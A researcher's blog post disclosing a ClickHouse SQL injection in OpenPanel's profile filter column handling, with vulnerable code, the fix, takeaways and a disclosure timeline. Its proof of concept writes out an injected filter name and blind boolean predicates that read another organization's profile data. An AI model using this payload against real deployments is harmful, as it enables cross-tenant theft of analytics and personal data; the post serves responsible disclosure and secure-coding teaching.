DEV Community

Santosh Kumar Puppala
Santosh Kumar Puppala

Posted on

Group and session filters checked the column name, profile filters didn't: ClickHouse SQL injection in OpenPanel (CVE-2026-88890)

TL;DR

  • What: OpenPanel's analytics API builds ClickHouse WHERE clauses from the filters a caller sends. Group and session filters map the column name through an allowlist first. Profile filters, profile.<x>, put the name into the SQL text as it arrived. A caller with a project read credential could therefore write SQL in that position.
  • Impact: per the advisory, an authenticated caller could inject ClickHouse SQL into the filter's column position. Per the CVE record, that lets a caller with project-scoped read or root export credentials bypass project isolation and read other organizations' analytics data and profile PII through blind boolean techniques. Rated High 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L). CWE-89 and CWE-943.
  • Fixed in 3.0.0 (2.3.0 and earlier are affected). Advisory GHSA-hwf2-2v2h-7892, credited to me as finder. CVE-2026-88890, assigned by VulnCheck, lists me as finder.

Why you should care

OpenPanel describes itself as an open-source web and product analytics platform, an alternative to Mixpanel, with optional self-hosting. It stores events and user profiles (names, emails, properties) in ClickHouse, and one deployment can hold many organizations' projects.

The isolation between projects lives in the queries: every query carries a project_id = '<your project>' condition. If a caller can add their own SQL next to that condition, the condition stops being a boundary.

The setup

Filters arrive as JSON, for example {"name": "profile.email", "operator": "is", "value": ["a@b.c"]}. The request schema accepts any string as the name. The builder turns each filter into SQL text: it escapes the value, and it is responsible for making the column name safe.

For group and session filters it does that with an allowlist. This is packages/db/src/services/filter-where.service.ts at tag v2.3.0, lines 184-203:

function groupColumnSql(name: string): string {
  const withoutPrefix = name.replace(/^group\./, '');
  if (withoutPrefix === 'name' || withoutPrefix === 'type' || withoutPrefix === 'id') {
    return withoutPrefix;
  }
  if (withoutPrefix.startsWith('properties.')) {
    const key = withoutPrefix.replace(/^properties\./, '');
    return `properties[${sqlstring.escape(key)}]`;
  }
  return 'id';
}

/** Translate `session.<field>` to the underlying sessions column. */
function sessionColumnSql(name: string): string | null {
  const withoutPrefix = name.replace(/^session\./, '');
  if (withoutPrefix === 'is_bounce') return 'is_bounce';
  if (SESSION_NUMERIC_COLUMNS.has(withoutPrefix)) return withoutPrefix;
  // performed_event is handled as a subselect, not a column
  return null;
}
Enter fullscreen mode Exit fullscreen mode

Anything not on the list becomes id or is dropped.

The bug

The profile branch, lines 171-178, escapes property keys but returns any other name unchanged:

function profileColumnSql(name: string): string {
  const withoutPrefix = name.replace(/^profile\./, '');
  if (withoutPrefix.startsWith('properties.')) {
    const key = withoutPrefix.replace(/^properties\./, '');
    return `properties[${sqlstring.escape(key)}]`;
  }
  return withoutPrefix;
}
Enter fullscreen mode Exit fullscreen mode

That string becomes the column of a predicate, and the predicate is placed inside the project-scoped subquery without parentheses, lines 240-256:

  const column = profileColumnSql(filter.name);
  ...
  const inner = compileScalarClause(column, filter.operator, filter.value, {
    numeric,
    type: filter.type,
  });
  ...
  return `${ctx.profileIdExpr} IN (SELECT id FROM ${TABLE_NAMES.profiles} FINAL WHERE project_id = ${sqlstring.escape(projectId)} AND ${inner})`;
Enter fullscreen mode Exit fullscreen mode

So a filter named profile.id = '' OR (<anything>) OR id produces ... WHERE project_id = '<mine>' AND id = '' OR (<anything>) OR id = 'x'. AND binds tighter than OR, so the middle condition is evaluated with no project scope at all.

The "aha"

The builder had three ways to name a column. Two of them checked the name against a list. The third trusted it, and that one sat next to the project boundary.

Proof of concept (benign)

I did not stand up ClickHouse. The test imported the real, unmodified filter-where.service.ts from tag v2.3.0 and called buildFilterWhere() the way the events endpoint does. Only the database transport was replaced: the SQL it emitted was run against Node's built-in SQLite on synthetic data for two organizations. That data was a canary profile in Org A with an email starting victim-canary-, and one event in Org B.

Acting as Org B, the injected filter asked whether Org A had a profile matching the canary:

filter.name = "profile.id = '' OR (<PRED>) OR id"

PRED_TRUE  = (SELECT count() FROM profiles WHERE project_id='org-a-project' AND email LIKE 'victim-canary-%') > 0
PRED_FALSE = (SELECT count() FROM profiles WHERE project_id='org-a-project' AND email LIKE 'no-such-canary-%') > 0

emitted (TRUE):
profile_id IN (SELECT id FROM profiles FINAL WHERE project_id = 'org-b-project' AND id = '' OR ((SELECT count() ...) > 0) OR id = 'x')

Org B's own events query:
  TRUE predicate                 -> 1 row
  FALSE predicate                -> 0 rows
  TRUE, Org A canary removed     -> 0 rows
Enter fullscreen mode Exit fullscreen mode

Org B's result changed with Org A's data, one yes-or-no answer per request. The same payload as a group.* filter never reached the SQL, because groupColumnSql() turned it into id. And a copy of the file with the profile name allowlisted turned the payload into one quoted identifier that no longer ran as logic.

Honest boundary: this shows the real query-construction code producing SQL that crosses the project boundary, run on SQLite with synthetic data. I did not run it against ClickHouse or through the HTTP API, and I did not measure how fast data could be read this way. The cross-organization read of analytics and profile data is the advisory's and the CVE record's description of impact.

The fix

The maintainers fixed it in PR #460, "Resolve profile.* filter fields to known profiles columns", merged on 26 August, the day of the report (commit a9ded39). profileColumnSql() gained an allowlist and now returns null for anything else, and the caller drops the filter, at that commit, lines 172-198:

const PROFILE_COLUMNS = new Set([
  'id',
  'first_name',
  'last_name',
  'email',
  'avatar',
  'created_at',
  'last_seen_at',
]);
...
function profileColumnSql(name: string): string | null {
  const withoutPrefix = name.replace(/^profile\./, '');
  if (withoutPrefix.startsWith('properties.')) {
    const key = withoutPrefix.replace(/^properties\./, '');
    return `properties[${sqlstring.escape(key)}]`;
  }
  if (PROFILE_COLUMNS.has(withoutPrefix)) {
    return withoutPrefix;
  }
  return null;
}
Enter fullscreen mode Exit fullscreen mode

The first release tag carrying the commit is v3.0.0 (16 October). In the current code the filter builder has moved to packages/core/src/modules/chart/src/table-filter-where.ts, and profile, group and event column names all go through allowlists there.

Takeaways

  1. When a builder has several branches that produce SQL identifiers, they all need the same guard. Two of three had it here. Whoever added the third may reasonably have assumed the shared helper escaped everything. It escaped values only.
  2. Escaping values is not escaping identifiers. sqlstring.escape makes a value safe as a value. A column name needs an allowlist or an identifier escape, and an allowlist is simpler to review.
  3. If isolation is a WHERE condition, anything spliced next to it must be parenthesized. The unparenthesized AND ... OR ... is what let one bad name lift the project scope.

Disclosure timeline (UTC)

  • 2026-08-25: found during a source review; the injection was confirmed in the test harness the same day.
  • 2026-08-26: reported through GitHub's private vulnerability reporting. The fix (PR #460) merged that afternoon, and the maintainers published advisory GHSA-hwf2-2v2h-7892 that evening.
  • 2026-09-10: CVE-2026-88890 published by VulnCheck.
  • 2026-10-16: v3.0.0 tagged, the first release tag with the fix.

Same-day fix and advisory. Thank you to the OpenPanel maintainers.

Credit / CTA

If you self-host OpenPanel, make sure you are on 3.x: the fix is in 3.0.0 and later, and the CVE lists 2.3.0 and earlier as affected.

If you build SQL from user input with a query builder, try this: grep for every function that returns a column or table name, and check that each one either picks from a fixed list or escapes the identifier.

The advisory and the CVE record credit me as finder. Comments and corrections welcome.

References

  1. OpenPanel security advisory GHSA-hwf2-2v2h-7892, "OpenPanel — ClickHouse SQL injection via unvalidated profile.* filter column identifier", published 2026-08-26. https://github.com/Openpanel-dev/openpanel/security/advisories/GHSA-hwf2-2v2h-7892
  2. CVE-2026-88890 (VulnCheck). https://www.cve.org/CVERecord?id=CVE-2026-88890
  3. VulnCheck advisory. https://www.vulncheck.com/advisories/openpanel-sql-injection-via-unvalidated-profile-filter-column-identifier
  4. Fix PR #460. https://github.com/Openpanel-dev/openpanel/pull/460
  5. filter-where.service.ts at v2.3.0 (before the fix). https://github.com/Openpanel-dev/openpanel/blob/v2.3.0/packages/db/src/services/filter-where.service.ts
  6. MITRE CWE-89, SQL Injection. https://cwe.mitre.org/data/definitions/89.html

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq). GitHub: @Santoshkumarpuppala

Top comments (0)